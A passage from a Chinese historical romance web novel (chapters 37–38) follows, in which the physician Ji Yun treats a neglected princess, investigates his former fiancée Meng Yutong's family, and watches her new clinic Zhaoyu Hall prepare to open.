青书……原是长兄纪昭身边最得力的心腹小厮。纪昭温润如玉,待人宽厚,将青书教导得心思缜密,聪慧机敏,行事滴水不漏。 自从兄长去后,青书到他身边,亦是处处妥帖,从未出过半分差错,更不曾有过半分质疑。 今日这番推脱是为何故? 他究竟是不想去查孟家,还是想去宫里? 他眸色微暗,眼底有探究和疑虑,摩挲锁扣的指尖无意识地向前一勾—— “嗒”一声轻响,锁扣弹开,箱盖掀起一丝缝隙。 一道淡金色的晨光恰好钻入那缝隙,照亮了箱内一角:一方折叠整齐的素粉软罗帕子,以及,帕子旁两颗码放得端端正正的松子糖。 几乎是在看清的瞬间,纪昀指尖如触电般倏然收回,同时手腕微沉,那掀开一丝缝隙的箱盖被严丝合缝地重新扣紧。 又是一桩古怪。 恰在此时,一阵急促的脚步声由远及近。云舟小跑着到了书房门口,抬手在门框上叩了一下,便急撩撩地撩袍跨了进来,气息微喘: “公子,时辰差不多了,咱们动身吧?” 他说话间,手已自然而然地伸向案上的医箱,想要提起。 那医箱却在他指尖触到提梁的前一瞬,倏然腾空——已被纪昀稳稳地提在了自己手中。 医官院坐落于皇城东北隅,朱墙黄瓦,药香隐隐。 纪昀先至院中,略作停留,处理了几桩日常庶务,又与院使及几位同僚简短议过几件紧要医案,便带上他那方医箱以及瑾安公主历年的脉案卷宗,起身离院。 瑾安公主所居的“静岚轩”,位于皇城西六宫最偏僻的西北角。 此地远离中轴线上的巍峨殿宇,宫墙斑驳,宫道幽深,一路行来,只闻风声鸟鸣,少见宫人身影。 纪昀穿过长长的抄手游廊,又绕过几重寂静无人的宫门,步履沉稳,走了约莫一盏茶的功夫,方才抵达。 此处,连草木葳蕤,人声寂寂,透着一股被遗忘的清冷。 静岚轩宫门半开,门前阶石缝隙间已生出些许青苔。院内陈设极为简素,只植了几竿疏竹。 当值的宫人不过寥寥数人:一位年过五十的老嬷嬷,带着两个年纪尚小的宫女。 她们见了纪昀,忙屈膝行礼,口称“纪医官”,动作看似恭敬,却又难几分掩敷衍怠惰之色。嬷嬷引着纪昀步入殿内。 瑾安公主的生母丽妃是南诏为结盟好,献予大晟的和亲公主。 丽妃初入宫时因美貌善舞得宠,风光无两。生下瑾安后,又因生育耗尽精血,光华不再,很快便在美人辈出的深宫中失宠。 瑾安公主出生即被诊断患有严重先天心疾,太医曾断言她活不过十岁。 爱女病弱和失宠的双重打击让丽妃忧思成疾,瑾安五岁时,便郁郁而终。 生母死后,瑾安由皇后抚养。十八岁时,她被指婚给已故忠勇伯的次子、时任京畿卫闲职指挥使的沈铎。 婚后不满三年,沈铎染上急病,暴卒而亡。二十一岁的瑾安以寡妇身份无子归宫,被安置在皇宫西北角偏僻的静岚轩。 瑾安公主空有公主称号,在宫中却如同被遗忘了一般,无人在意。 宫人也多表面恭敬,实则怠慢。她的心疾是棘手病症,原负责诊治的老医官告老后,无人愿接手。也正是在那时,刚入医官院不久的纪昀,接过了为瑾安诊治一事。此举也曾引来过些许流言蜚语。 当时有传言,称纪昀少时作为皇子伴读与瑾安相识,或有青梅竹马的情谊。但纪家正值鼎盛,纪昀前途光明,而瑾安是病弱寡居的失势公主,传了一段时日,流言也不了了之了。 自纪昀接手起,每月固定入宫为瑾安公主诊视,从未间断。 至今年四月,已持续整整三年。 静岚轩寝殿内光线微暗,陈设更是简单。一床、一榻、一桌、一柜,再无别的。 唯靠窗的紫檀小案上,供着一盆妍丽花草。 那花叶片狭长,深绿近墨,顶端簇拥着几朵碗口大小的赤金色花朵,花瓣层层叠叠,散发着一股若有似无的甜腻香气。 与这简素的居所不太相称。 此乃瑾安公主生母故国南诏特有的金盏曼陀罗,在中原极为罕见,只作观赏。 瑾安公主半靠在床榻上,榻前垂着一层薄薄的素纱帘。透过纱帘,只能隐约瞧见她一张素白清瘦的脸。 她正捧着一卷书,纤长的手指缓缓翻动书页,发出细微的“沙沙”声,神情专注。 引路的嬷嬷低声禀报:x“公主,纪医官来了。” 纪昀隔着纱帘,躬身行礼:“微臣纪昀,见过公主。” 瑾安并未抬眼,只轻轻“嗯”了一声,算是回应。 她将搁在膝上的左手伸出纱帘,轻轻搭在榻边早已备好的锦缎腕枕上。 纪昀在榻前的绣墩上坐下。云舟立刻上前,将医箱小心置于一旁小几上,随即垂首退至角落阴影处。 他左手托着衣袖,伸出三指搭在瑾安纤细的腕脉上。 殿内一时寂然无声,唯有窗外偶尔传来的几声鸟鸣。 片刻,纪昀收手,声音平稳无波:“公主脉象沉细,气血两虚之症仍未见好转,尤以心血亏耗为甚。本月汤药,可酌加些龙眼肉、柏子仁同煎,取其养血宁心之效,或可稍缓心悸。” 他转向一旁的桌案,示意宫女取来笔墨,提笔重新开方,“下官于方中增入丹参三钱、茯神五钱,以增益气活血、安神定志之功。减去前月所用的远志,因其性燥,恐更耗阴血。” 他手下不停,一边书写,一边如常叮嘱,“公主务必静养,少思少虑,切勿随意走动,更忌情绪大动,方为养生之道。” 瑾安依旧没有回应,目光仍胶着在书页上,又缓缓翻过一页。 纪昀似乎也早已习惯,写完这月的药方后,他搁下笔,起身,正欲告退。 纱帘后,瑾安却忽然蹙了蹙眉,朝着纪昀的方向抬起了头。 那一双眼睛是罕见的琥珀色,在那张白弱清淡的脸上,这双异色眼眸宛如两颗琉璃珠,非但没有增添暖意,反而在沉静中透出一种矛盾的绮丽风情。 她目光穿透薄纱,遥遥落在纪昀身上,声线是与之气质不甚相符的清甜,“纪昀,你换香了?” 纪昀身形微顿,面上却无波澜,只淡声应道:“公主此前所赐的‘安神引’,于下官效用渐微,故已停用,换了新香。” “哦?”瑾安唇角忽然勾起一抹笑意,仿佛发现了什么有趣的事情,“看来你是越发难以入眠了,无妨,”她语气甚至轻快了些,“我替你加重些分量便是,换来换去的,多麻烦。下次你来时,我让嬷嬷把新配好的香给你。” 瑾安与纪昀,虽有一起长大的情分在,可两人关系瞧着似乎并不亲厚。 当年纪昀接过瑾安的心疾诊治一事时,瑾安并不乐意。他来看诊时甚至故意将人关在外头。 后来不知纪昀与她说了什么,她才允了这件事。 大约纪昀替她看诊一年后,她态度稍转好了些,还赠了他许多安神引。 寻常问诊时两人也都不多话,不过是纪昀每月例行公事般替她开方,嘱咐些注意的事项,她心情好时便应上两句,心情不好时,是理都不带理他的。 今日倒是难得,比起往常来,说了许多话。 “公主玉体违和,需静心休养,此等琐事,实不敢劳烦公主。” 纪昀垂眸,长睫在眼下投下两片浅淡的阴影,遮住了眸中神色,语气依旧恭敬疏离。 “不劳烦,说起来我们还是表亲呢,末微小事,不必客气,”她心情似乎愈发好了,将随手将那卷书合拢放在一边,琥珀色的眸子饶有兴致地盯着帘外模糊的人影,“对了,听说你退婚了?” 纪昀眼中没什么温度,垂眸时睫毛在眼下投出浅影,眨眼的频率快了几分,隐隐有几分不耐。 “医官院尚有庶务待理,”纪昀的声音比方才更冷了几分,听不出情绪起伏。他草草一揖,动作干脆利落,“公主若无其他吩咐,下官先行告退。” 话音未落,他已转身提步,步履生风般径直朝殿外走去,那袭青色医官袍袖在略显昏暗的光线随着他步子飞快掠动。 隔着那层素白纱帘,瑾安只看到他挺拔的身影迅速远去,在帘幕上投下一团模糊而浅淡的影子。 待到那身影彻底消失在殿门光影处,瑾安才缓缓抬起手,用那纤瘦得可见青色血管的手指,轻轻撩开了挡在眼前的纱帘一角。 她的目光穿透殿门,凝注着纪昀身影消失的回廊方向,琥珀色的眼眸深处,漫上一片冷意。嘴角,却极其缓慢地向上牵起,勾出一抹讥诮的冷笑。 “这婚事,”她红唇微启,声音漠然,“退了倒好。” 省去她许多麻烦。 凭何所有人都在往前走,凭何只有她留在原地? 看着吧,谁都别想好过。 窗外掠进一阵清风,带着几分微凉,灌入空荡殿内。 小案上的妍丽花朵随风而动,花姿摇曳间,透出股奇异妖冶的美。 第37章 第37章孟家为何退婚? 正值午后,暮春的风沉沉闷闷,从医官院的高墙上掠下,惹人头昏。 医官院值房内,陈玢将新近通过考核、并经医官举荐得以正式入册的行医者名录整理齐备,呈至院使朱直案前,请其复核。 此名录关乎医者正式行医资格,一经朱直确认无误,便需誊抄数份:一份张贴于皇城告示墙公示天下,一份存医官院备案,另需将盖有官印的副本送至各医者手中留存。 朱直伸出手,在眉心使劲儿按了按,打起几分精神,这才接过名录,逐行扫过。 见其条理清晰,姓名籍贯、师承医馆、考核等第、举荐人等信息皆无疏漏,遂颔首道:“无错漏,着即抄录张贴,并将盖印副本送达各人。” “下官遵命。”陈玢应声。 今日恰逢纪昀入宫替瑾安公主诊治,他的字也不差,这抄录的差事便落到了他身上。 朱直忽又想起一事,问陈玢:“此名录,可曾呈纪院判过目?” 陈玢摇头:“回院使,纪院判今日奉召入宫诊治,尚未得见。” 朱直沉吟几息。 虽说纪昀与那女子有几分交情,又担了举荐之名,但他今日进了宫,也不知何时才回了。 况且此番通知入册医者本是医官院份内之责,总不好事事都劳烦于他。朱直想了想,遂道:“既如此,便由你去办。务必将盖印副本亲手交予名录中人,并告知其公示事宜,不得延误。” 官册选拔一事前月早已昭告于众,对于已成立开张的老医馆而言,四月末时提交一应材料前往医官院报名即可获得参选资格。而对于近日新开的医馆而言,又要多一道程序,比如报名之时,这医馆需得正式开张超过半月,且诊治病患,售卖药材达到一定数目,才有资格参选。 如今已到了四月上旬,对于这些新开的医馆而言,若想参与评选,那可是一日都耽误不得。故而今日这名册一出,朱直亦是不敢拖延,忙催着各项章程,好让通过者早些着手以备后续事宜。 “是。”陈玢领命,正欲退下整理誊抄,脚步却又一顿,脸上浮起一丝按捺不住的探究,压低了声音问道:“院使,下官瞧着这孟家姑娘的名字也在其上,举荐人赫然便是纪院判。这……两人婚约不是已解了么?纪院判竟还肯为她作保?这到底是余情未了,还是……”他话未尽,眼睛溜溜地往朱直身上瞧,意思却昭然。 医官院里的事务大多枯燥繁杂,除了纪昀那般似乎天生冷心冷情的人能日日一丝不苟地辛勤工作以外,其余的,都是些见着些风吹草动便丢下手里的活儿,寻着味儿就来了的人。 这不,陈玢上回在纪昀那处并未理明白那传言的始末细节,由此将这事情悄然放进了心里,好不容易寻着今日这样的机会,面对全院消息最灵通的院使大人,他哪能按捺住不问呢? 朱直闻言,眉头一拧,面上顿时显出几分不耐与鄙夷,斥道:“荒唐!男女之间,除却儿女私情,便不能有惜才重义、君子之交了么?纪昀此举,分明是赏识其医术造诣!你脑子里整日盘桓些甚么腌臜念头!速去办差!” 陈玢被斥得面皮一热,唯唯诺诺地躬身退下。 心中却不以为然:这话若从别人口中说出也就罢了,偏生是您老……前几日纪院判亲自来为孟玉桐作保时,您那眼珠子瞪得,分明也与他一般想法! 不过是被人一句“君子坦荡,院使慎言”堵了回来罢了。 瞧,八卦之心,人皆有之。也非独他一人如此。 不如一会儿将这送盖印副本的差事揽下,他好借机去瞧瞧纪院判那个传闻中的未婚妻。 这女子,先是退婚,后是医籍考核,如今又是纪院判亲荐,桩桩件件,简直奇哉怪哉。 也不知那究竟是怎样一个奇女子? 陈玢心中一边胡乱盘算着,一边很快将名录誊抄妥当,唤来今日当值的书吏沈周:x“速将此名录张贴于皇城告示墙,不得有误。” 沈周领命而去。 他自己则拿着那些需送达的盖印名录副本,步出值房。 左右眼下医官院中没有其他事,不如他就亲自去送上一送,也好解了自己心中这多日来的好奇。 值房外廊下,沈周正捧着名单正匆匆而行,恰与大步流星穿过庭院的李璟撞个正着。 李璟身挂“掌药奉御”之职,实则是个只点卯不干事的闲散皇亲,药库一应事务皆由底下吏员操持。医官院无人不知他底细,见了他都绕着走。 沈周瞧见李璟,暗叫倒霉,低着头匆匆加快脚步,只求不要与这冤家撞上。 偏偏事与愿违,李璟见书他捧文书,步履匆匆,便觉好奇,伸手拦住:“手里拿的什么?拿来本官瞧瞧。” 沈周哪里敢得罪这位爷,只得双手将文书奉上,“回李医官,这是新近通过考核、并经医官举荐得以正式入册的行医者名录,小的正要拿去张贴。” 李璟一只手漫不经心地接过,目光从文书名录上随意扫过。 当“孟玉桐”三字及“举荐人:纪昀”映入眼帘时,他瞳孔一缩。 视线下移,“行医之所:临安府桃花街照隅堂”一行字更是刺目。 桃花街?!照隅堂?! 这不正是前些时日郑辉向他禀报,那孟玉桐曾去过的一处铺子么? 他不过几日没盯着,还真就叫这女人将医馆开了起来?! 先前听闻孟家主动退婚,他还暗自得意,以为是自家在御街牙行使的绊子见了效,这商贾之女终于知难而退。万没想到,她竟是明修栈道,暗度陈仓! 表面上在御街周旋,背地里却悄无声息地拿下了桃花街的铺子。 更可恨的是,她竟还能哄得他那眼高于顶的表兄为她作保举荐入册! 他恨恨捏紧名录,明明都退婚了,纪昀还如此帮她,这女人究竟给纪昀灌了什么迷魂汤?! 她处心积虑开这医馆,究竟意欲何为?莫非是以退为进,欲擒故纵? 明面上与纪家一刀两断,实则借此行医之名,制造与纪昀朝夕相处的机会? 好深的心机!好毒的算计! 李璟越想越觉脊背发凉,一股被愚弄的怒火混杂着忌惮直冲顶门。 他绝不能坐视此女如愿! 他阴沉着脸,将那份名单掷回沈周怀中,冷哼一声,转身拂袖便走。 方向赫然是八珍坊,寻那郑辉去了。 沈周捧着被李璟捏的皱巴巴的名录,抬袖揩了揩额上的汗。这位爷,青天白日的,这是又在抽什么风。 好在这名录没坏,他小心将纸张展开,用手仔细展平,复而捧着名录匆匆离开,前去张贴了。 张贴完名录回来,他瞧见陈玢还未离开,正在往值房的回廊之下,似乎在等他。 陈玢恰好抬起头,见他回来,十分热情地同他招手。 是在等他无疑了,他匆匆走进,问道:“医直可还有别的事要吩咐?” 陈玢将手中那一打需送达至每人手中的盖印名录副本塞进他怀里,“这些副本将有劳你按上头的地址逐一送到人手中。” 沈周应下。 陈玢方才随意翻看了看,这副本上头东南西北的地址皆有,他一个个去送,岂不是耽误了旁人。 灵机一动,他从中抽取出地址为桃花街的那一张,将剩下的都丢给了沈周去送。 实在是聪明! 他拿着那张副本,欢欢喜喜地往桃花街去了。 照隅堂坐落于桃花街望仙桥头,位置甚是显豁。他自桥上缓步而过,不多时便寻到了那间新修缮完毕、尚未全然收整妥当的医馆。 医馆正中的黑木牌匾之上,“照隅堂”三字恢宏醒目,别有一番气势。 自门外望去,医馆格局已具雏形:左右诊室以屏风相隔,布局井然有序;药柜打造得规整齐整,一列列排开;药碾、铡刀、戥秤等医家器具,皆分门别类码放在柜面之上,一丝不苟。桌案旁还立着一面杏黄色旗帜,想来是待开张之日再高悬于门楣。 陈玢行至门口,略一探头。院内一个圆脸丫鬟瞥见他,连忙小跑着往后院去,不多时便引了一位年轻女子出来。 那女子一身浅碧色长衫,面若芙蓉,眼波明丽,朝他款款走来,福身温言:“可是医官院的大人,我是照隅堂的主事,孟玉桐。” 这般容貌自不必说,举止落落大方,既能通过医籍考核,更得纪昀亲批“优”等,想来定是位品貌与才学兼备的女子。 纪昀这样清正的君子,原来也难过美人关呐。 陈玢收回几分探寻的目光,将手中的副本递与孟玉桐,道:“孟姑娘,我是医官院的医直陈玢,这是医官院盖了印的正式入册的行医者名录,姑娘收好此物,待择定吉日,这‘照隅堂’便可正式开张行医了。” 孟玉桐双手接过那张副本,视线落在举荐人处的‘纪昀’二字上。 心中微微一动,不动声色地收起副本,将副本妥帖收起,随即朝陈玢欠身道谢:“多谢陈医官亲自送递,不知可否入内饮一盏粗茶,稍作歇息?” 陈玢将东西送到,自然没有多留的道理,连摆手道:“不必不必!姑娘既是纪医官的友人,与我等便是自家人,何须如此见外?” 孟玉桐微微蹙眉,两人早已退婚,她实则不是很喜欢旁人将她与纪昀搅在一处。 她唤来白芷,从诊室里间拿出一只做工精湛的香囊,她将香囊递给陈玢,态度不卑不亢,“陈医官专程跑这一趟,实在辛苦,这是照隅堂研制的安神香囊,对于夜间浅眠无法安睡者,效用尚可。陈医官若不嫌弃,便收下此物,诸位医官白日奔波劳碌,夜里闻着这香囊气息,或能睡得更安稳些。” 这番话说得温婉熨帖,听得陈玢如沐春风。他乐呵呵接过香囊,只觉囊中香料与药草的气息醇厚清雅,闻之果然令人心神安宁。 他尚未开口道谢,便听孟玉桐又道:“未免陈医官误会,还有一事需向陈医官言明,我与纪医官实则并不相熟,此番举荐,不过是纪医官惜才,见我医籍考核中末题答得尚可入眼,又考校了我一番医术,这才答应为我举荐。须知举荐一事,合乎公允,并无私情。” 啧啧啧,这姑娘这一板一眼,一身正气的劲儿,倒与纪淮之如出一辙啊。 陈玢连连点头,“是在下失言了,还望姑娘海涵,在此向姑娘赔罪。多谢姑娘的香囊,医官院尚有差事待办,在下便不多留了,告辞,告辞!” 孟玉桐不再多说,只将人往外送了送,待人离开,这才折返回照隅堂中,准备后日开张的诸多事宜。 * 四月十四,暮色四合,纪府梧桐院的青石小径上落满疏影。 纪昀今日从医官院归府,便径直入了书房,刚于那张宽大的乌木书案后坐定,青书便跟着进了屋内,躬身侍立。 按纪昀的吩咐,自纪昀昨日入宫替公主诊治后,他这两日都在查探孟家的事。 “公子,孟姑娘之事,小的已探明几分。” 纪昀示意他细说。青书便将探得之事一一道来: “孟姑娘生母柳氏,乃秦州人士。其家族经营马帮,颇具声名。孟姑娘之父孟清宇,弱冠之年奉孟老太太之命,远赴秦州收拢一批紧要药材。途中遭逢意外,身受重伤,幸得柳氏搭救,于柳家养伤。朝夕相处间,二人互生情愫,私定终身。” “柳家之主本不愿爱女远嫁临安,奈何柳氏心意已决,苦苦相求,终是允了这门亲事。孟清宇归返临安时,身边便多了柳氏。” “二人成婚不久,便生下了孟姑娘。婚后二载,孟清宇携柳氏赴西南边陲之地,名为拓展药材生意。然此行,却成夫妇离心之始。” 青书略作停顿,似在斟酌措辞,“据闻,孟清宇急于向孟老太太证明自己的能力。彼时,他竟暗中与一伙来历不明之人接触,欲购入一批朝廷明令禁止流通的‘蚀骨草’,牟取暴利。更欲借柳氏娘家马帮之力,将禁药秘密运回临安。” “柳氏深明大义,惊觉此事后,断然拒绝,未免牵连柳氏一族,与柳家断交,更不惜与孟清宇反目,向远在临安的孟老太太修书告发此事。 “孟老太太震怒,星夜兼程赶赴西南,雷霆手段平息风波,销毁禁药,严惩涉事之人。孟清宇此举不仅触怒母亲,更令柳氏心寒齿冷,夫妻情分至此断绝。孟家大权,亦重归老太太执掌。” “孟清宇失意返回临安后不久,便纳了本地女子秦氏为妾,同年诞下孟玉柔。然而他与秦氏也不过是貌合神离,后常以‘x为母分忧’之名,远赴他州行商,动辄数载不归。” “直至孟姑娘八岁那年,柳夫人因病去世。当时孟老太太正亲自押送一批贵重药材行于西南险途,闻此噩耗,昼夜疾驰赶回,亲自将年幼失恃的孟小姐接到自己居住的松风院,抚养于膝下。时常以《女诫》、《妇学》、《闺范》等教导约束。” “三年前,孟姑娘十四岁,孟老太太亲至纪府,与老太爷定下婚约。” 纪昀凝神静听,修长的手指无意识地在光滑的乌木案几上轻叩。 即便曾与孟玉桐有婚约之名,他此前亦从未留心过她的过往。此刻方知,此女看似豁达清明,身世竟也如此坎坷波折。 他忽又忆起她那身精湛老道的医术。 照青书所言,孟玉桐常年在闺阁之中,先是得母亲柳氏教养,后转至松风院又孟老太太亲自看顾,那她的医术又是从何习得? “孟家老太太,”纪昀抬眸,眼底带着审视,“可通晓医术?” 青书微躬:“回公子,孟老太太之事,探查起来颇有些阻滞。只知其祖籍江陵,随孟家老太爷迁来临安。与孟老太爷成婚五载后诞下孟清宇,在孟清宇十岁那年,老太爷不幸意外身故。 “此后,孟老太太一力撑起孟家基业,商海沉浮,手段卓绝。至于医术……”他摇了摇头,“确无半点风声传出。” 纪昀自从开始学医以来,便同时也练就了一番消息查探的手段,只因有些药材珍贵难寻,只能多追寻些细枝末节才能得到。 而青书又是个机敏小心的性子,这些年陪在他身边经他调教,替他查探过不少消息。 临安城中的消息查探起来应该是没有什么难的。 可竟然查探不到孟老太太的消息,要么,就是这老太太实则身份莫测,让人想探也探查不到。要么,就是有身份能力更高的人特意掩去了这些信息不想被人探寻。 无论是哪一种,在他看来,都十分古怪。 纪昀眼中掠过深思,他垂眸思忖半晌,忽沉声道:“派人去一趟江陵,详查孟家老太太的底细。” “是。”青书应下,略一迟疑,又道:“还有一事,关乎孟姑娘近况。” “讲。” “孟姑娘前些时日在御街物色医馆铺面,原本相中的并非如今桃花街那间,而是新安桥头一处旧日的绸缎庄。后来……是有人在背后使了手段,她才不得不另择他处。”青书语速放缓,显得十分谨慎,抬眼看了看纪昀的脸色。 纪昀眉峰微挑,示意他但说无妨。 “是李世子。”青书做事仔细,将探得的消息如实回禀,“起因似乎是八珍坊寄卖首饰的一伙秦州游商。孟姑娘不知为何替那群游商出了头,因而开罪了李世子。李世子便在牙行里放了话,无人再敢将铺子租与孟姑娘。” “李璟?”纪昀眉头微蹙,这倒是出乎意料。 以她素日目标明确、行事利落的风格,不像是会为无关紧要的琐事轻易树敌之人。 莫非……她与这群秦州游商有什么渊源? “桃花街虽不及御街那般繁华鼎盛,却也闹中取静,毗邻民居,于开医馆而言,未必是坏事。”纪昀语气平淡,仿佛只是随口一问,“她那医馆,开张的日子定了?” 青书点头,“定在明日。” 明日。 纪昀目光下意识地扫过案旁那方熟悉的黄梨木医箱。上一回允诺为她举荐入册之事,似乎尚未告知她结果。 她这一回倒是沉得住气,竟也未曾派人来问过一句。 青书似已禀报完毕,屏息静立一旁,等候吩咐。 “嗒、嗒,”纪昀修长的手指在光滑的乌木桌案上不轻不重地叩击了两下,声音在骤然静谧的书房里显得格外清晰,仿佛带着无形催促。 “你可是还忘了什么事?”纪昀淡淡抬眼。 青书微怔,迅速在脑中过了一遍,确信将今日探听的所有都一一详述了。若说还有一件……那便是退婚的缘由。只是,以公子素日性情,对此等已了之事,何须再问? “孟家为何退婚?”纪昀的声音清晰落下,不疾不徐,“是孟玉桐的主意,还是孟家老太太的主意?” 青书眼底掠过一丝极淡的讶异,公子竟真问及此事? 他略一沉吟,谨慎回道:“据查,应是孟小姐之意。孟小姐自纪府寿宴归家当晚,便去了老夫人院中,停留甚久。不久后,老夫人便亲携信物,登门退亲了。” 两人婚事已退,公子想知道这个做什么? “呵,”一声极轻、几乎细不可闻的冷嗤,自纪昀喉间逸出。 他想起那日孟玉桐在和乐楼请他吃饭,谈及退婚一事,她信誓旦旦将所有推向了孟老太太。 他唇角微微向下抿了一瞬,随即恢复如常,只那墨玉般的眸底,掠过一丝类似荒谬的情绪,而后又渐渐凝成了然。 坊间所言,倒的确是不假。 “唤云舟来。”他不再多言,语声淡漠。 “是。”青书躬身退下。 不多时,云舟一阵风似的卷了进来,气息微喘:“公子,您找我?” “用过晚膳,随我去一趟清风茶肆。”纪昀语调平淡,听不出情绪。 云舟口中嘀咕了两句,纪昀闻声扫过一道眼风,问:“怎么了” 云舟一个激灵,忙摆手道:“也没什么,就是方才青书问了我两句瑾安公主的事。小的只是……只是觉得奇怪,往日都是他陪您入宫的,今日怎么……”他挠挠头,把后半截“您怎么没带他”的疑问咽了回去。 当然他奇怪的事情不止这一桩,还有公子往日都是午后去品茶的,怎么今日都快掌灯了还去。 这事他没敢问,兴许公子只是单纯想喝呢。 纪昀眸光微凝,静默片刻,方道:“今日有旁的事交予他去办。” 云舟恍然:“哦!明白了!”见纪昀再无吩咐,便识趣地行礼退下,自去用饭。 第38章 第38章梦中那双眼 桃花街街道往东的尽头是新开门,新开门为缓解御街拥堵而特设,闭门时间比之其他的城门更晚一些,延迟至亥初。 戌时初,桃花街上沿街的灯笼次第亮起,两遍的小贩已支起摊子,吆喝声与笑语声交织,此刻的街面正是热闹的时候。 纪昀便是在此时抵达的清风茶肆,晚间的茶客并不多,他轻车熟路,径直上了二楼,挑了一处他惯常来的雅间位置落座。 此处临着后巷,推开窗,前方便是望仙桥,视野极好。 时值四月中旬,从茶肆二层放眼往前,可瞧见望仙桥畔那株老桃树的全貌。 桃树花期已过,满树绿叶蓁蓁,在檐角灯笼映照下,投下浓密婆娑的暗影,倒比繁花时节更添几分沉静幽深。 清风徐来,楼下袅袅茶香升起,混着桥下流水的清润气息,别有一番远离尘嚣的意趣。 纪昀甫一落座,何浩川便笑容满面地迎了上来。 纪昀是茶肆的熟客,两人前几日又才在济安堂门前见过,何浩川十分自然,张口便问:“公子安好!还是老规矩,给您上一壶上好的浮梁雪毫?” “有劳。”纪昀微微颔首。 “您稍坐,茶马上就来!”何浩川往日便就一副精神焕发、朝气十足的模样,但今日瞧着这兴致似乎尤其高。 他凑近说话时,纪昀敏锐地捕捉到一缕极淡却熟悉的清雅香气。 纪昀视线微垂,便见何浩川腰间一左一右悬着两只精巧香囊。 一只为墨绿底绣银丝茶芽,另一只为浅蓝底缀素雅兰草。二者香气相似,闻来皆幽微恬淡,有令人沉心凝神之效。 见纪昀目光落在香囊上,何浩川眉眼更是飞扬,不待人问便解下那只墨绿色的,献宝似的递到纪昀面前:“公子也觉得这香囊雅致?今日好些客官见了都问呢。这个呀——” 他兴致勃勃,一边说着,半个身子探出窗外,伸手朝斜前方一指,“就是前头新开张的‘照隅堂’孟掌柜送的,里头添了安神的药材,说是能助眠定神。我这几日用着,夜里睡得可踏实了,效用十分好!” 这香囊是孟玉桐前几日托白芷送来的,墨绿色那只是给父亲的,浅蓝色那只是给他的,说是照隅堂研制的一批安神香囊,送一些给街坊邻居用用。 他欢喜的紧,爱不释手。父亲见他喜欢,便将自己那只也给了他戴着,于是他便这么日日挂着两只香囊在茶肆里招摇,这几日一寻着空闲就处处显。 只要有人见了问起,他便滔滔不绝地夸起来。 孟玉桐与他而言x既是街坊,又是救命恩人,他不能白受恩人恩惠,他可得多替孟掌柜扬扬名。 话说完,瞧见纪昀神色淡淡,他忽然想起什么似的,才猛地一拍脑门,面露懊恼之色:“哎呀!瞧我这记性!那日我在济安堂见过公子与玉桐姐姐同行,你二人应是旧识,哪里用得着我来介绍。 “想来玉桐姐姐这香囊给桃花街的街坊四邻都送了,您这儿定是……” 他话未说完,便见纪昀已移开视线,眼睫低垂,覆下一小片淡淡的阴影,薄唇微抿,周身气息似乎更冷冽了几分,显然不欲多谈。 “咳,”侍立一旁的云舟适时出声,打断道:“掌柜的,劳烦快些上茶。” 何浩川浑不在意,咧嘴一笑:“好嘞!马上就来!”转身便风风火火地下楼去了。 “公子,”何浩川前脚才走,云舟便忍不住低声嘀咕,“这茶肆小哥同孟姑娘很熟么?” 那一声声“玉桐姐姐”,听得他浑身起鸡皮疙瘩。 他瞧着也有十七八了吧,也不知害臊,他家小公子都未必这么叫呢! 纪昀未应,目光投向窗外。 此处视角极佳,不仅将望仙桥景致尽收眼底,更能清晰地俯瞰照隅堂后院。 今夜十四,一轮将满未满的玉盘悬于靛蓝天幕,清辉如练,静静流淌。 大约是为明日开张做着最后的准备,照隅堂后院灯火通明,人影憧憧。搬挪器物、洒扫庭除的声响夹杂着偶尔的谈笑声,透着一股生机勃勃的忙乱。 小院中央,孟玉桐正立于那株老柿树下。她穿着一身青碧色云纹绫裙,月华如水,倾泻在她身上,为那窈窕身影镀上了一层清冷的银辉,宛如月下初绽的一支亭亭青莲。 她正低声与白芷吩咐着什么,神色专注而从容。 白芷领命,快步进了大堂,不多时便拿着一个鼓囊囊的荷包出来,要分给崔大成与梅三。 两人连连摆手推拒。孟玉桐又低声说了句什么,只见那二人相视一笑,这才乐呵呵地拱手接过。 井台边,头戴毡帽的老者正拿着一截枯枝,在地上聚精会神地勾画着什么图案。 孟玉桐目光掠过,转头对一旁的吴明使了个眼色示意了一下。 吴明立刻会意,噔噔噔跑上小楼,转眼便拿了件外袍下来,兜头罩在吴林身上。 吴林被这突如其来的温暖一惊,手一抖,再睁眼只见地上的图案被吴明一脚踩花了半拉。 老头儿顿时吹胡子瞪眼,抄起那截枯枝就追着孙子满院子跑,引得众人一阵哄笑。 桂嬷嬷坐在角落的小杌子上,正慢悠悠地碾磨着香料。孟玉桐见状,走到嬷嬷身后,抬手为她揉按着肩颈。 融融月色盛满小院,将院中人的忙碌、笑语、嗔怒、温情一一浸润,鲜活生动。 照隅堂。 纪昀无意识地于唇齿间重复着这个名字,许是被这小院温情所染,眸底罕见掠过一丝淡淡暖意。 济世不必悬壶千里,但求照拂一隅众生,此名既谦和又见抱负。倒是个不俗的名字。 原来她心中所向,竟是这般天地? 这念头一闪而过,带起几分连他自己也未深究的复杂心绪。 “公子,您的茶来了!”何浩川端着乌木托盘快步而来,将一壶新沏的浮梁雪毫并两只素白茶盏置于案上。 他手法娴熟,先用滚水将茶具内外细细浇淋一遍,继而悬壶高冲。 碧绿茶汤如一线飞瀑注入盏中,水汽氤氲间,嫩芽舒展沉浮,清香四溢。 “您请慢用。”他送完茶,恭敬退下。 纪昀修长两指虚拢盏沿,温热透过细腻瓷壁传来。 纪昀两指环在茶盏边沿,热气透过茶盏壁传至指尖,白色茶烟袅袅,茶盏中青绿色茶叶沉浮不定,他唤云舟,“去照隅堂同孟玉桐说一声,上回她请我举荐之事已办妥,明日她可安心开馆。” 云舟应声,往外走出两步,却又迟疑地停下,回头问道:“公子,那明日咱们可要亲自去道个贺?” 纪昀眉心微蹙,抬眸看他,“明日我要去太医局讲学。” 每月十五,都是他去太医局讲学的日子。 “那……那我空着手去传话……是不是显得……不太周到?”云舟挠了挠头,显得有些局促。 纪昀执起茶盏,轻啜一口,目光透过氤氲的雾气望向窗外,声线清淡:“不必,你只需将这句话带到。于她而言,这便是最好的贺礼。” 他再清楚不过,那女子所求,从来务实,不尚虚礼。再说了,他若真让云舟送些什么过去,她只怕还要心有负担,想着怎么推拒。 还是不给她添麻烦了。 云舟脸上掠过一丝将信将疑,应了声“是”,便匆匆下楼去了。 夜风渐起,带着湿润的凉意。几缕细密的雨丝无声飘落,街上的行人纷纷以袖掩首,小跑着四散避雨。 纪昀的目光又重新落回细雨中朦胧的照隅堂。思绪不期然飘回那个同样落雨的午后。 